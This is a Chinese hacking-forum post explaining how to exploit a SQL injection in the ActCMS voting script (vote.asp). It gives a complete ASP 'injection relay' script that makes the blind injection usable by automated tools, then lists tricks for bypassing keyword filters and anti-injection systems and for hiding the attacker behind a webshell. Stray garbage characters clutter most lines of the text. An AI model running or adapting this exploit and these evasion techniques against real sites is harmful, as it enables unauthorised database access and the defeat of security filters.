找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2045|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

1 W' k( ^: h) T! r( E. x- [4 `+ N5 y看到ninty大牛的blog的一篇文章0 b. _7 ]8 Z% c' M& S5 P
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]  o! P5 S) V' P) p- c2 h! C
关于actcms漏洞的利用  by 3x qq:3818625890 v6 f: x" n1 Y# o0 ~; m
转载请注明以上
* w& i  }% u1 i1 @漏洞文件:
8 {) Q: y$ r- I# m8 J. e) F4 L/plus/vote/vote.asp
- ~2 h2 T8 r1 y% V代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    0 ~7 o  k2 s' K+ i

) n/ u7 j4 m7 K# ^$ K& P- }2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   
3 T4 ~2 M7 F: m6 A
$ r' t  N6 C$ B3    response.end   
% @) z1 _) e/ q" S. S, N) l; n6 {
4    end if   
9 k2 \4 r* n7 X4 A& q4 }" ], Q9 {% U+ `0 O6 t- T  |
5    for i=1 to request("voted").count   
  S* ]5 }. h8 y- ^. M$ X! T
9 j& |' ~( J0 s( x3 h3 z& ~! N9 P6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    * V% j) C5 s% ~2 Z/ I6 V' q$ H

  E; e+ Q" g, J3 G) R0 n* N+ d9 l7    next   
/ Y$ y0 L1 |0 X. U1 s6 S. u! F" C- @) \4 {
8....    / R1 Q/ x/ H( m7 {3 A0 J" o1 W2 d7 h

! V+ T6 e; k  O* o* n; c, {( K- t9response.Redirect "index.asp?id="&id&""   2 P7 A5 x, r. X7 P4 T0 \' ~
投票结束回跳转回index.asp这个投票结果页面
9 c2 }: J2 i: c! l& N6 n如果投票成功票数加1- ^5 h6 `! ~2 o+ T# \; g+ o9 ^
            失败票数不变
# N# ]. O; d) }1 _& i7 [, f如图:
# K& l8 Q: K" T: p. q" ]; Thttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
9 l. k9 C" C3 T2 \/ L- Y" a, P( L7 Z$ y
2009-12-27 13:20
$ A  G2 x5 J. v3 m' c
) W4 E. x0 J: \+ N. e- G, ]利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
, X0 L; U' g3 w7 d: F( D* k) {5 r
1 t6 B; ]  z" P- J" \/ q- X本帖隐藏的内容需要回复才可以浏览
  i+ W3 z, c1 A2 m0 B' c0 W我们用注入中转来实现这个注入具体代码如下:( j  h* {* w- [& f3 u
先用寂寞的刺猬大牛的注入中转生成jmget.asp
0 a3 `1 u0 f) S( p4 }# d2 @/ u9 X注入地址:http://localhost/actcms/plus/vote/vote.asp
1 |0 E0 ]0 r6 L& @6 s注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项6 r9 W) y( x9 J0 A* b

5 L$ B" M+ z" c然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ; X6 m, v: q, v
  p! J5 n" Q" m; q8 i
02JmdcwName=request("jmdcw") 3 b; m& F+ P9 _/ U2 B
' }. Y0 R  o  D0 B7 t7 v
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] # Z$ x( W3 I0 d( g- D
) o2 R: P) P$ A) o' @6 x
04JmStr="id=1&voted=-1 or 1="&JmdcwName 2 @5 D9 f' \$ e3 F. {
) [' H" _+ j) C
05JmStr=URLEncoding(JmStr) , R4 u. ]. d8 w# [

% J" N9 b& e. R# h  `06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"( a; W" A: T$ y' Y
4 o4 h7 W7 H2 y4 o: z4 w# k4 \
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
+ ]/ h& T: v: W8 n. r) a5 e% N0 G) y0 g2 M% T8 [$ j0 X
08testurl=testurl & "?" & JmStr : g$ j' ?4 K7 F
; i2 J4 v* f/ p1 y( B
09JMUrl=JMUrl & "?" & JmStr & F" w4 O6 }  w9 C# S8 O
" o- }! t' v" x. v  P5 _- J
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"' U  }& r9 T) a5 q0 g
0 h9 N/ _7 g% k
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;": I. f' h1 y+ J6 L7 W  |

' s% @1 B+ v7 r3 N6 k8 B12JmCok=replace(JmCok,chr(32),"%20")  
/ N' C  h0 R, i% `5 F
; o; E; D- ~: k7 h# u2 i8 ~2 u6 }13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 ) A8 w0 }( P8 a' w) [
) N2 {( T, R3 m& ^
14  : N2 z  Q' E7 W
$ X) i7 r% x8 s& H9 e
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
( u* J, f9 X2 g4 f& M, o3 \4 {) n2 f' V* p( O+ _- Q* x* m2 E
16  & E2 L; V5 R! t: t4 G9 G, W
5 g5 Z! x4 p8 d- H5 _) P
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
) [& H# ^2 ^+ y8 s+ K" V7 F% q" e5 W6 c/ ?. V
18response.write test1&""&test2&""( h$ N. D- E; J( @
/ [' N$ n' [4 ], K3 c* D3 {( ~1 _
19  ! R, b, h2 w( L" C4 {! \

- {" J; g- v4 Q$ w1 W20if test1=test2 then '如前后记录相等,表示失败 4 q% b# ]# n' m5 V. W) N, U4 _

! D* Y7 M1 `, E21  response.write "failed"
7 n' q/ S6 n3 t0 H3 C% T! g
5 U+ q8 f; O) n22else & Q. y/ |5 w& }, Z
. n0 {9 Q" c0 C1 p( g. _  A; a+ y. k
23  response.write "succeed"
$ F; W0 t% ~: n7 V- k( D. W0 c7 R6 A% h2 E5 w" n
24end if  5 R% O3 }( a. e5 r& D& C# M

# c7 ?! R; f$ r) I* T25  
4 D3 x/ [% M! d/ c( z  U: w1 c
26response.write "by 3x"
9 u. o; @* |9 i) Z1 f/ A, e# a7 ?2 V+ v8 [, p) W
27  ' u/ P- W2 d1 x* {; _) |8 f
7 R: b( z7 x0 e" f5 A, E# _
28  ' v& Y+ L) X  x" ]% a9 i
6 V7 f7 z% b* S. ^
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
2 m  r6 R: \, Z4 y& f, N2 X  P, w; f7 P/ v! i- w
30Dim Http
( E9 g8 K. k& X! B* d% ^9 c" b( K- M! `4 J5 f0 Y) b( U
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP") ( V' C' M2 }. l( G. T4 I4 h
5 `: }$ _$ p& f& S& c
32With Http & q" F% ?7 }* h5 u0 B) ?% p7 W

) p9 g) U: y1 O$ t33    c6 _0 L3 x+ x' U

  P" [; `0 b; n# i34.Open "GET",PostUrl,False
4 a  ^. B/ o% V. ?$ q; `2 _# X
  Q6 i/ r" [) T3 ?1 [. M1 P35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded") F8 H" X) l( e( Z5 ]3 z5 Z
" M, q4 b$ x2 @- b
36.SetRequestHeader "Referer",PostRef ; F( Y7 M, r6 q* x
( V3 Z3 F: v9 Y
37.SetRequestHeader "Cookie",PostCok 3 f! v5 S3 Y) b3 U9 J8 C
6 R4 W/ t: y  D: m  c
38.Send () + z& A( j# S0 b, U5 B$ p
4 y9 G6 X) Q2 u* u9 |
39PostData = .ResponseBody
$ R5 U8 C" o5 P+ h
( A" v4 |: N4 H+ g40End With* r, t' b* {- ?* C! k. @" T
) S; L8 F. ^1 Z+ B4 n
41Set Http = Nothing. S$ q, l6 o/ @8 G5 w
! k* z- ^, c; S) p3 F
42PostData =bytes2BSTR(PostData) 0 Q# K! }3 L! D7 l* G' H
( l% q: ?7 O# {
43End Function
$ q! ^  Q$ E) n! j7 n6 y( N( M6 j
" j# \7 W' r( o* Z% w44  
! T* B$ k9 U# \% Z9 d: I) ]' M& u2 |) x. q4 c* R
45  
# c7 a1 p. ]2 }1 C7 I% j" U* d3 `& r8 ]( d0 C: k8 @1 j, }9 p
46Function bytes2BSTR(vIn)
/ ^6 \- u1 R$ s* G2 x. y" ~3 B  ~; }6 L# `6 g0 ~% ~& x% T- n  m
47Dim strReturn - N+ g4 Z% ]% T
3 s! q# A. A( z6 e9 L8 @- a
48Dim I, ThisCharCode, NextCharCode
1 A6 U$ D( }3 F4 H1 y7 I. R5 I$ t1 y8 j3 A' w" f/ e9 P7 B
49strReturn = ""
1 X3 h( m/ _# i! {  H# U6 \; ~( A  q% c
5 O) i$ J$ h3 i$ m1 b50For I = 1 To LenB(vIn) / [5 }# |( u# h  F4 b: M6 k
: \2 n* _$ n3 K- a/ ^  i
51ThisCharCode = AscB(MidB(vIn, I, 1))
1 y. v0 {- S* `) w% Q- T  y, Z- a+ Z9 Q6 {  z/ O
52If ThisCharCode < &H80 Then
3 U7 P* @, r7 t$ l8 B! h
+ [, d. \) r' U# T, \7 Q53strReturn = strReturn & Chr(ThisCharCode)
' s. m7 K+ j  T8 J- g; M3 E& [, Y7 a, u% S) `7 H0 q( f: ^7 Y
54Else' [. M6 c. ?$ N
2 z+ b: n. H( d. x; O$ h; x: v
55NextCharCode = AscB(MidB(vIn, I + 1, 1)) , M+ K9 M% O% N4 ~: @' R$ H  w8 c

5 h) z' ~7 D* w. ]! a% v( h* A56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) $ j  r  s9 M. A: m" J2 W

* V2 H2 a+ J" c" F, R57I = I + 1 + C# Z5 d5 x( T- `

, v: n! ~* g0 s58End If
% W+ I: l: S4 l& M) r5 l- h$ }8 \) H0 H4 X+ R! w& L
59Next
$ Z: [1 I) }. ?8 A4 ]8 N+ {# j) L! h
60bytes2BSTR = strReturn
! \8 W$ n+ K. h+ |- j3 j, x# r
( ?) I4 U% z& K7 `1 l61End Function: Z  U. u0 [! }* q
( I% }& x6 o% }9 {4 W
62  3 z. t- n7 F$ f2 L; d( N  U2 Q+ A3 P
( |) R. I% l: j, O3 d
63Function URLEncoding(vstrin)  
- @4 L8 s) p1 I' Z- g( b  `) I! `1 O1 ?1 g  L( z
64strReturn=""
) v( {1 S- S  Y4 @# N. e
% L7 _) U. }5 U* ~! v6 z65Dim i
; ~  Y1 {+ ^* j) B7 O  s% ?7 X0 h" P
66For i=1 To Len(vstrin)
. [( E: w4 W8 U
; n) s5 N. q) f6 Y% }67ThisChr=Mid(vstrin,i,1) - B. h1 X5 x8 \3 J

) N# t, R7 u( m- s9 X2 f68if Abs(Asc(ThisChr))< &HFF Then
& h; W1 S" G' w* J  g: \
" D1 I. k7 L/ h  Z6 |: s69strReturn=strReturn & ThisChr
3 i6 b! M0 {- X* J& @- O( j7 ?/ I5 \1 Y9 }
70Else
' U' M, z4 p2 N' L1 U# S, n# L
' I6 Y5 _9 V5 Z' b7 P. p& d71InnerCode=Asc(ThisChr)
# l, M: v! r' H/ d2 b
* l4 T* f# J0 P7 K7 Y- w: @72If InnerCode<0 Then5 J7 Y2 J  C# z4 y3 \; J

1 w5 R: @- s+ l: s- e9 u73InnerCode=InnerCode + &H10000
5 `' T- u' n+ J% M$ o6 q5 B6 _5 G; h- e- I' k& J
74End If
! q$ o" Q, P4 h8 [+ K6 j& Y# r3 F+ w0 A2 ^! `: ]4 T
75Hight1=(InnerCode And &HFF00) \&HFF
0 _5 [& b  Z& Z/ ^- d: f6 y6 Q
. ^1 U8 l- E# y1 S3 }! b76Low1=InnerCode And &HFF ; J( P1 g8 {" x# r6 h) z& C: X
; ~9 Z* s7 |# _- b
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
: p, J; u0 h/ {' I' P$ T! W1 [1 ~* @# `' Q& P& ]
78End if * F' j) n# Z9 _! Q

3 h. s6 l% Z. J: |) B) W4 Y4 Z. D79Next) Q: F! `4 \3 s* L

9 u4 \& B: J* H' n80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
1 e; s5 l4 b+ D3 r( a
+ P7 U( z1 G5 H, P8 I6 M. \$ W% b81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
8 Z. ?3 ?% p9 G$ ?7 V, r, Z
! ^. W0 {8 x( e1 b  g) X$ r- ]82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 " r+ Q/ s$ V1 x  I! q

4 O( e8 D6 E" \5 ?9 f6 @; W83URLEncoding=strReturn 1 X& \. R4 E+ e3 |/ B
2 M/ U4 c; e) h0 r+ ?3 O% {9 R
84End Function) d, Z% G3 a$ C; F
$ V% c" Q7 F' S# d7 L% m
85  
0 w* o1 n3 f: C) o, I% X/ j! D  F
: E% n6 d4 P5 C; [9 T86function getSt(body)
7 W! S5 ?  t, U2 P+ e# O- Q# B9 ^0 L' E# E6 @' j) B& ^# R- z( a% V
87  startpot=instr(body,"投票人数:")+len("投票人数:")
1 f/ Z! ?% t7 a0 B: X, x8 `8 H( k9 |
) D, p; H6 w3 G' F0 s/ f6 V) c, h88  endpot=instr(startpot,body," ")
' i( i' N3 t# o" W  }: Q5 M2 O
& T: \5 S/ o5 ^& M! S- l* m89  getSt=mid(body,startpot,endpot-startpot)
# @: Y+ u, W7 ]5 Q+ i: ?1 L; w+ `
$ V8 f  Y, _% I% K4 r( P90end function
! n/ j) m" K3 N* j6 @4 l/ ~( A8 K' S1 \$ i- [
91%>
$ D! J  M6 S; s注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
, O2 P/ H' Q9 |# v: \' g8 \测试下效果:
: V$ ^6 i; C+ |' t: ]# ~- b2 v& J投票成功:: o/ W  ]& z9 K5 p) c
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)# L8 d4 v, I' Q5 R$ T

. O1 }+ |( S% I2009-12-27 13:29/ ?+ p2 Q1 L" E# q$ K0 s# v/ p
投票失败
7 [2 `$ V  K) l/ }$ jhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
9 D/ f, b# M- _- W) I2 R- l% g( D- T. }
2009-12-27 13:29
, X2 Z" @# c+ u, _3 X-------------------------------------------------------------------------------5 @& k- J' _; E# _* ]0 ]. a
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
% T+ C: B! O* E2 I很抱歉。。。只能用单线程工具去注入。。。。。
8 u. H; g, n6 r所以失败。。。不好意思。。。6 B) o( m  g8 r/ \4 G/ n- E! q
-------------------------------------------------------------------------------
( d2 P# _% `, q' z0 A" R
% l. B. o( n5 ~5 }注入中转的一些其他应用4 X/ m$ W, d" V, g) @
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
: n: y, f5 U$ y- @6 k, h* E1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id- O: V: H* v$ ?# q# P( F" L( k
2.post注入转成get型的注入,方便我们使用工具来跑- V/ Y4 z) e+ ~# |, f- m
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
/ O* j$ x. Q: Y4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
7 x# f  L. @  B' l( G) M# W  x  n  ^3 e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表